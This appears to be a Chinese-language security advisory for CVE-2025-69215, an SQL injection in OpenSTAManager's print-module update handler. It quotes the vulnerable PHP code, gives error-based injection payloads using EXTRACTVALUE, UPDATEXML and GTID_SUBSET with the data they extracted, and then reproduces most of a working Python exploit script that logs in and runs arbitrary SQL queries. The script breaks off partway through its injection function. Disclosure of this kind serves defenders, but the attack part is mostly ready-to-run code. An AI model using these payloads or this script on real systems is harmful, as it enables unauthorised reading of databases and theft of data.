| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2025-69215 |
| 严重性 | 高 |
| 安全公告 | 查看公告 |
| 发现者 | Lukasz Rybak |
modules/stampe/actions.phpcase 'update':
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
$dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));
// ↑ 直接拼接,未使用 prepare() 进行清理
}
来自 POST 数据的 module 参数被直接拼接到 SQL UPDATE 查询中,未使用 prepare() 清理函数。虽然 predefined 参数通过 intval() 进行了验证,但 module 参数仅进行了 !empty() 检查,这并不能防止 SQL 注入。
漏洞模式:
// 第25行:intval() 保护了 predefined,但 module 没有被清理!
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
// 第26行:直接拼接 - 存在漏洞
$dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));
}
POST /modules/stampe/actions.php
op=update
id_record=1
predefined=1(intval() 后必须为非零)
module=[注入载荷]
title=Test
filename=test.pdf
基于错误的 SQL 注入,使用 MySQL 的 EXTRACTVALUE/UPDATEXML/GTID_SUBSET 函数
POST /modules/stampe/actions.php
Content-Type: application/x-www-form-urlencoded
op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf
结果:
提取数据: MySQL 版本 8.3.0
module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)
结果:
提取数据: 数据库名称 openstamanager
module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)
结果:
提取数据: 数据库用户 [email protected]
完整利用脚本: exploit_stampe_sqli.py
#!/usr/bin/env python3
"""
SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php
Usage:
python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico
python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local
"""
import requests
import re
import argparse
import sys
from html import unescape
from urllib.parse import urljoin
class StampeSQLiExploit:
def __init__(self, base_url, username, password, verbose=False):
self.base_url = base_url.rstrip('/')
self.username = username
self.password = password
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'
})
def login(self):
"""使用用户名和密码进行身份验证"""
login_url = urljoin(self.base_url, '/index.php')
if self.verbose:
print(f"[DEBUG] 尝试登录到 {login_url}")
print(f"[DEBUG] 用户名: {self.username}")
# 首先,获取登录页面以建立会话
resp = self.session.get(login_url)
if self.verbose:
print(f"[DEBUG] 初始 GET 状态: {resp.status_code}")
# 发送带有 op=login 参数的登录凭据(必需!)
login_data = {
'username': self.username,
'password': self.password,
'op': 'login', # OpenSTAManager 需要此参数
}
resp = self.session.post(login_url, data=login_data, allow_redirects=True)
if self.verbose:
print(f"[DEBUG] 登录 POST 状态: {resp.status_code}")
print(f"[DEBUG] Cookies: {self.session.cookies.get_dict()}")
# 检查登录是否成功
if 'PHPSESSID' not in self.session.cookies:
print("[-] 登录失败:未收到会话 cookie")
return False
# 检查是否被重定向到仪表板或仍然停留在登录页面
if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():
print("[-] 登录失败:仍然停留在登录页面")
if self.verbose:
print(f"[DEBUG] 当前 URL: {resp.url}")
return False
print(f"[+] 以 '{self.username}' 身份成功登录")
print(f"[+] 会话: {self.session.cookies.get('PHPSESSID')}")
return True
def inject(self, sql_query):
"""执行 SQL 注入载荷"""
# 使用 UPDATEXML 代替 EXTRACTVALUE(在演示中效果更好)
payload = f"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)"
target_url = urljoin(self.base_url, '/modules/stampe/actions.php')
if self.verbose:
print(f"[DEBUG] 目标: {target_url}")
print(f"[DEBUG] 载荷: {payload}")
response = self.session.post(
target_url,
data={
"op": "update",
"id_record": "1",
"predefined": "1",
"module": payload,
"title": "Test",
"filename": "test.pdf"
}
)
if self.verbose:
print(f"[DEBUG] 响应状态: {response.status_code}")
print(f"[DEBUG] 响应长度: {len(response.text)}")
# 首先对 HTML 实体进行反向转义
response_text = unescape(response.text)
# 模式 1:包含 HTML 实体或引号的 XPATH 语法错误
# 匹配:XPATH syntax error: '~data~' 或 '~data~'
xpath_match = re.search(r"XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE)
if xpath_match:
result = xpath_match.group(1)
if self.verbose:
print(f"[DEBUG] 通过 XPATH 模式提取: {result}")
return result
# 模式 2:在 HTML 注释中查找(演示版将错误放在注释中)
# <!--...XPATH syntax error: '~data~'...-->
comment_match = re.search(r"<!--.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?.*?-->", response_text, re.DOTALL | re.IGNORECASE)
if comment_match:
result = comment_match.group(1)
if self.verbose:
print(f"[DEBUG] 从 HTML 注释中提取: {result}")
return result
# 模式 3:<code> 标签
codes = re.findall(r'<code>(.*?)</code>', response_text, re.DOTALL)
for code in codes:
clean = code.strip()
if 'XPATH syntax error' in clean or 'SQLSTATE' in clean:
match = re.search(r"~([^~]+)~", clean)
if match:
result = match.group(1)
if self.verbose:
print(f"[DEBUG] 从 <code> 中提取: {result}")
return result
# 模式 4:PDOException 错误格式(如用户示例所示)
# PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~'
pdo_match = re.search(r"PDOException:.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE | re.DOTALL)
if pdo_match:
result = pdo_match.group(1)
if self.verbose:
print(f"[DEBUG] 从 PDOException 中提取: {result}")
return result